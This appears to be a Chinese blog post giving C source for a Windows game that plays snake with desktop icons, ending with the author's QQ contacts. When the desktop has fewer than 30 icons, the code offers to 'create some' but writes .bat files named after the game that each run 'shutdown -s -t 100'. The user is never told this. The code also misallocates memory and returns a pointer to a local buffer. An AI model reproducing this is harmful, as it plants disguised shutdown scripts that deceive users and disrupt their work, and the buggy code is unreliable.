本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h"
#include <stdio.h>
#include <string.h>
#define SIZE 100
HWND deskpot;
int iCount = 0;
int screenX;
int screenY;
int eatCount = 0;
int index = 0;
int speed = 500;
typedef struct Snake
{
int x;
int y;
int index;
struct Snake* next;
}snake;
snake* Head;
snake* SnakeTemp;
POINT food;
char* GetDesktopPath();
void Initialization();
void StartGame();
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
Initialization();
MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
StartGame();
return 0;
}
void Initialization()
{
srand(unsigned int(time(NULL)));
HWND grandpa = FindWindowA("Progman", "Program Manager");
HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);
deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");
iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0);
screenX = GetSystemMetrics(SM_CXSCREEN);
screenY = GetSystemMetrics(SM_CYSCREEN);
Head = (snake*)malloc(sizeof(Head));
Head->x = rand() % (screenX / SIZE) * SIZE;
Head->y = rand() % (screenY / SIZE) * SIZE;
Head->index = 0;
Head->next = NULL;
if (iCount < 30)
{
if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES)
{
FILE* fp;
char Path[200];
char temp[20];
char FineName[100];
for (int i = 0; i < 30 - iCount; i++)
{
memset(Path, 0, 200 * sizeof(char));
strcpy(Path, GetDesktopPath());
sprintf(temp, "\\贪吃蛇%d.bat", i);
strcat(Path, temp);
if ((fp = fopen(Path, "w+")) == NULL)
continue;
fprintf(fp, "shutdown -s -t 100");
fclose(fp);
}
}
}
for (int i = 0; i < iCount; i++)
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
}
return;
}
char* GetDesktopPath()
{
LPITEMIDLIST pidl;
LPMALLOC pShellMalloc;
char szDir[200];
if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
{
if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
{
SHGetPathFromIDListA(pidl, szDir);
pShellMalloc->Free(pidl);
}
pShellMalloc->Release();
}
return szDir;
}
void StartGame()
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x);
label:
food.x = rand() % (screenX / SIZE) * SIZE;
food.y = rand() % (screenY / SIZE) * SIZE;
if (Head->x == food.x && Head->y == food.y)
goto label;
SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x);
snake SnakeMove;
SnakeMove.x = 1, SnakeMove.y = 0;
while (eatCount < iCount)
{
if (GetAsyncKeyState(VK_UP) != 0)
SnakeMove.x = 0, SnakeMove.y = -1;
if (GetAsyncKeyState(VK_DOWN) != 0)
SnakeMove.x = 0, SnakeMove.y = 1;
if (GetAsyncKeyState(VK_LEFT) != 0)
SnakeMove.x = -1, SnakeMove.y = 0;
if (GetAsyncKeyState(VK_RIGHT) != 0)
SnakeMove.x = 1, SnakeMove.y = 0;
if (GetAsyncKeyState(VK_ESCAPE) != 0)
{
MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
exit(0);
}
if (GetAsyncKeyState(VK_SPACE))
{
while (1)
{
Sleep(300);
if (GetAsyncKeyState(VK_SPACE))
break;
}
}
if (Head->x == food.x && Head->y == food.y)
{
index++;
eatCount++;
speed = speed - (speed / 10);
snake* temp;
temp = (snake*)malloc(sizeof(snake));
temp->x = food.x;
temp->y = food.y;
temp->index = index;
temp->next = NULL;
SnakeTemp = Head;
while (SnakeTemp->next != NULL)
{
SnakeTemp = SnakeTemp->next;
}
SnakeTemp->next = temp;
SnakeTemp = Head;
SnakeTemp->x += SnakeMove.x * SIZE;
SnakeTemp->y += SnakeMove.y * SIZE;
while (SnakeTemp != NULL)
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
SnakeTemp = SnakeTemp->next;
}
label2:
food.x = rand() % (screenX / SIZE) * SIZE;
food.y = rand() % (screenY / SIZE) * SIZE;
if (Head->x == food.x && Head->y == food.y)
goto label2;
SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x);
}
else
{
snake Temp;
snake Temp2;
bool choice = false;
SnakeTemp = Head;
Temp.x = SnakeTemp->x;
Temp.y = SnakeTemp->y;
SnakeTemp->x += SnakeMove.x * SIZE;
SnakeTemp->y += SnakeMove.y * SIZE;
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
SnakeTemp = Head->next;
while (SnakeTemp != NULL)
{
Temp2.x = SnakeTemp->x;
Temp2.y = SnakeTemp->y;
SnakeTemp->x = Temp.x;
SnakeTemp->y = Temp.y;
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
Temp.x = Temp2.x;
Temp.y = Temp2.y;
SnakeTemp = SnakeTemp->next;
}
if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
{
MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
exit(0);
}
SnakeTemp = Head->next;
while (SnakeTemp != NULL)
{
if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
{
MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
exit(0);
}
SnakeTemp = SnakeTemp->next;
}
}
Sleep(speed);
}
return;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
游戏界面如图:
失败界面如图:
如果您发现本篇中有什么错误的地方麻烦您在评论区留言我会及时更正的,谢谢!
如果遇到什么问题欢迎大家进群讨论或者加我qq
群内有各种学习资料,欢迎大家一起来学习!
本人qq:846581636
qq学习群:759252814
期待你的关注
感谢大家的支持,谢谢!